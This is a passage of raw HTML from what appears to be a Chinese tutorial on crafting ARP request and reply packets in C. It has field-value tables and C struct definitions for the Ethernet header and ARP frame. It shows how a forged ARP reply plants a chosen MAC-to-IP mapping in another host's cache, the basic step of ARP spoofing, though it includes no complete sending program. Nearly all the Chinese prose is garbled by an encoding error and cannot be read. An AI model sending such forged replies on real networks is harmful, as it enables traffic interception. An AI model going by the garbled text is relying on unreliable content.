color="#0909f7">鎺ユ敹鏂筂AC</font></b>濉叆浠繪剰鍊煎氨琛岋紝涓嶈搗浣滅敤錛屼簬鏄紝濡傚浘錛?/font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div> <font face="瀹嬩綋" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 ARP Frame</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">瀛楁</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">闀垮害(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">濉厖鍊?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">紜歡綾誨瀷</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">1</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">涓婂眰鍗忚綾誨瀷</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">0800</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">MAC鍦板潃闀垮害</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">IP鍦板潃闀垮害</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">4</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎿嶄綔鐮?/font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鍙戦佹柟MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鍙戦佹柟IP</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">192.168.0.1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎺ユ敹鏂筂AC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">浠繪剰鍊?xxxxxxxxxxxx</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎺ユ敹鏂笽P</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">192.168.0.99</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">濉厖鏁版嵁</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">18</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">0</font> </div> </td> </tr> </tbody> </table> <div> <font face="瀹嬩綋" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 鍥? ARP璇鋒眰鍖呬腑 ARP甯х殑鍐呭</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <font face="瀹嬩綋" size="2">聽聽聽 濡傛灉鎴戜滑鏋勯犱竴涓繖鏍風殑鍖呭彂閫佸嚭鍘伙紝濡傛灉 192.168.0.99瀛樺湪涓旀槸媧誨姩鐨勶紝鎴戜滑椹笂灝變細鏀跺埌涓涓?92.168.0.99鍙戞潵鐨勪竴涓搷搴斿寘錛屾垜浠彲浠ユ煡鐪嬩竴涓嬫垜浠殑ARP緙撳瓨鍒楄〃錛屾槸涓嶆槸澶氫簡涓欏圭被浼艱繖鏍風殑鏉?/font> <font face="瀹嬩綋" size="2">鐩細</font> <font face="瀹嬩綋" size="2">聽聽聽聽聽聽聽聽聽聽聽</font> </div> <div> <font face="瀹嬩綋" size="2">聽聽聽聽聽聽 192.168.0.99聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 bb-bb-bb-bb-bb-bb</font> </div> <div> <font face="瀹嬩綋" size="2">聽聽聽聽 鏄笉鏄緢紲炲鍛紵</font> </div> <div> <font face="瀹嬩綋" size="2">聽聽聽聽 鎴戜滑鍐嶆潵鐪嬩竴涓婣RP鍝嶅簲鍖呯殑鏋勯?/font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <font size="2"> <font face="瀹嬩綋"> <font color="#e6941a"> <b>2) </b> <b>鍝嶅簲鍖呯殑濉厖</b> </font> </font> </font> </div> <div> <font face="瀹嬩綋" size="2">聽聽聽聽 鏈変簡鍓嶉潰璇︾粏鐨勮В璇達紝浣犺偗瀹氬氨鑳借嚜宸辮鍑哄搷搴斿寘鐨勫~鍏呮柟娉曟潵浜嗗惂錛屾墍浠ユ垜灝變笉緇嗚浜嗭紝鍒椾袱涓〃灝卞ソ浜?/font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <font face="瀹嬩綋" size="2">聽聽聽聽 姣斿璇寸粰 192.168.0.99錛圡AC涓?bb-bb-bb-bb-bb-bb錛夊彂涓涓狝RP鍝嶅簲鍖咃紝鍛婅瘔瀹冩垜浠殑MAC鍦板潃涓?aa-aa-aa-aa-aa-aa錛屽氨鏄姝ゆ潵濉厖鍚勪釜瀛楁</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div align="center"> <font face="瀹嬩綋" size="2">DLC Header</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">瀛楁</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">闀垮害(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">濉厖鍊?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎺ユ敹鏂筂AC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <font size="2"> <font face="瀹嬩綋"> <b>bbbbbbbbbbbb</b> <b> </b> </font> </font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鍙戦佹柟MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">Ethertype</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">0x0806</font> </div> </td> </tr> </tbody> </table> <div> <font face="瀹嬩綋" size="2">聽聽聽聽聽聽聽聽聽聽聽聽聽 鍥? ARP鍝嶅簲鍖呬腑 DLC Header鍐呭</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <table cellspacing="0" cellpadding="0" border="1"> <tbody> <tr> <td width="568" colspan="3"> <div> <font face="瀹嬩綋" size="2">ARP Frame</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">瀛楁</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">闀垮害(Byte)</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">濉厖鍊?/font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">紜歡綾誨瀷</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">1</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">涓婂眰鍗忚綾誨瀷</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">0800</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">MAC鍦板潃闀垮害</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">IP鍦板潃闀垮害</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">1</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">4</font> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎿嶄綔鐮?/font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">2</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">2</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鍙戦佹柟MAC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">aaaaaaaaaaaa</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鍙戦佹柟IP</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">192.168.0.1</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎺ユ敹鏂筂AC</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">6</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">bbbbbbbbbbbb</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">鎺ユ敹鏂笽P</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">4</font> </div> </td> <td width="402"> <div align="center"> <b> <font face="瀹嬩綋" size="2">192.168.0.99</font> </b> </div> </td> </tr> <tr> <td width="103"> <div align="center"> <font face="瀹嬩綋" size="2">濉厖鏁版嵁</font> </div> </td> <td width="63"> <div align="center"> <font face="瀹嬩綋" size="2">18</font> </div> </td> <td width="402"> <div align="center"> <font face="瀹嬩綋" size="2">0</font> </div> </td> </tr> </tbody> </table> <div> <font face="瀹嬩綋" size="2">聽聽聽聽聽聽聽聽聽 鍥? ARP鍝嶅簲鍖呬腑 ARP甯х殑鍐呭</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <font face="瀹嬩綋" size="2">聽聽聽 榪欐牱192.168.0.99鐨凙RP緙撳瓨涓氨浼氬浜嗕竴鏉″叧浜庢垜浠?92.168.0.1鐨勫湴鍧鏄犲皠銆?/font> </div> <div> <font face="瀹嬩綋" size="2">聽聽聽 濂戒簡錛岀粓浜庡埌浜嗙紪紼嬪疄鐜板畠鐨勬椂鍊欎簡^_^</font> </div> <div> <font face="瀹嬩綋" size="2"> </font>聽</div> <div> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 21pt; TEXT-INDENT: -21pt; mso-list: l1 level1 lfo1; tab-stops: list 21.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia; mso-bidi-font-family: 瀹嬩綋"> <span style="mso-list: Ignore">浜岋紟<span style="FONT: 7pt 'Times New Roman'">聽 </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">鍙戦?/span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia">ARP</span> <span style="FONT-SIZE: 9pt; COLOR: fuchsia; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">鍖呯殑緙栫▼瀹炵幇</span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: fuchsia"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18pt; TEXT-INDENT: -18pt; mso-list: l0 level1 lfo2; tab-stops: list 18.0pt"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'"> <span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">聽聽聽聽聽聽聽 </span></span> </span> <span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">濉厖鏁版嵁鍖?/span> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21"> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">涓婇潰鐨勯偅浜涘叧浜?/span> <span lang="EN-US" style="FONT-SIZE: 9pt">ARP</span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">鍖呭悇涓瓧孌電殑琛ㄦ牸錛屽搴斿湪紼嬪簭閲屽氨鏄粨鏋勪綋錛?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-bidi-font-family: 鏂板畫浣? mso-ansi-language: ZH-CN">瀵瑰簲浜庝笂闈㈢殑琛ㄦ牸錛?/span> <span style="FONT-SIZE: 9pt; FONT-FAMILY: 瀹嬩綋; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">浜庢槸鎴戜滑闇瑕佷笁涓笅闈㈣繖鏍風殑緇撴瀯浣?/span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 19.9pt; mso-char-indent-count: 2.21"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// DLC Header</span> <span lang="EN-US" style="FONT-SIZE: 9pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagDLCHeader<span style="mso-spacerun: yes">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>DesMAC[6];<span style="mso-tab-count: 3">聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green">/* destination HW addrress */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>SrcMAC[6];<span style="mso-tab-count: 3">聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green">/* source HW addresss */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 1">聽聽聽聽 </span>Ethertype;<span style="mso-tab-count: 3">聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="mso-spacerun: yes">聽聽 </span><span style="COLOR: green">/* ethernet type */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} DLCHEADER, *PDLCHEADER;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Frame</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 27pt; TEXT-ALIGN: left; mso-char-indent-count: 3.0; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagARPFrame<span style="mso-spacerun: yes">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 13.5pt; TEXT-ALIGN: left; mso-char-indent-count: 1.5; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">{<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2">聽聽聽聽聽聽聽聽 </span>HW_Type;<span style="mso-tab-count: 3">聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green">/* hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2">聽聽聽聽聽聽聽聽 </span>Prot_Type;<span style="mso-tab-count: 3">聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green">/* protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>HW_Addr_Len;<span style="mso-tab-count: 2">聽聽聽聽聽聽 </span><span style="COLOR: green">/* length of hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>Prot_Addr_Len;<span style="mso-tab-count: 2">聽聽聽聽聽聽聽聽 </span><span style="COLOR: green">/* length of protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">short</span> <span style="mso-tab-count: 2">聽聽聽聽聽聽聽聽 </span>Opcode;<span style="mso-tab-count: 3">聽聽聽聽聽聽聽聽聽聽聽 </span><span style="mso-spacerun: yes">聽聽聽 </span><span style="COLOR: green">/* ARP/RARP */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p>聽</o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>Send_HW_Addr[6];<span style="mso-spacerun: yes">聽聽聽聽 </span><span style="COLOR: green">/* sender hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">long</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>Send_Prot_Addr;<span style="mso-spacerun: yes">聽聽聽聽聽 </span><span style="COLOR: green">/* sender protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>Targ_HW_Addr[6];<span style="mso-spacerun: yes">聽聽聽聽 </span><span style="COLOR: green">/* target hardware address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">long</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>Targ_Prot_Addr;<span style="mso-spacerun: yes">聽聽聽聽聽 </span><span style="COLOR: green">/* target protocol address */<o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-ALIGN: left; mso-layout-grid-align: none" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="mso-tab-count: 1">聽聽聽聽 </span> <span style="COLOR: blue">unsigned</span> <span style="COLOR: blue">char</span> <span style="mso-tab-count: 2">聽聽聽聽聽 </span>padding[18];<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">} ARPFRAME, *PARPFRAME;<o:p></o:p></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: green; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">// ARP Packet = DLC header + ARP Frame</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <o:p> </o:p> </span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 1.71gd" align="left"> <span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: blue; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt">typedef</span> <span lang="EN-US" style="FONT-SIZE: 9pt; FONT-FAMILY: 鏂板畫浣? mso-hansi-font-family: 'Times New Roman'; mso-font-kerning: 0pt"> <span style="COLOR: blue">struct</span> tagARPPacket<span style="mso-spacerun: yes">聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 </span><span style="COLOR: green"><o:p></o:p></span></span> </p> <p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-ALIGN: left; mso-layout-grid-align: none; mso-para-margin-left: 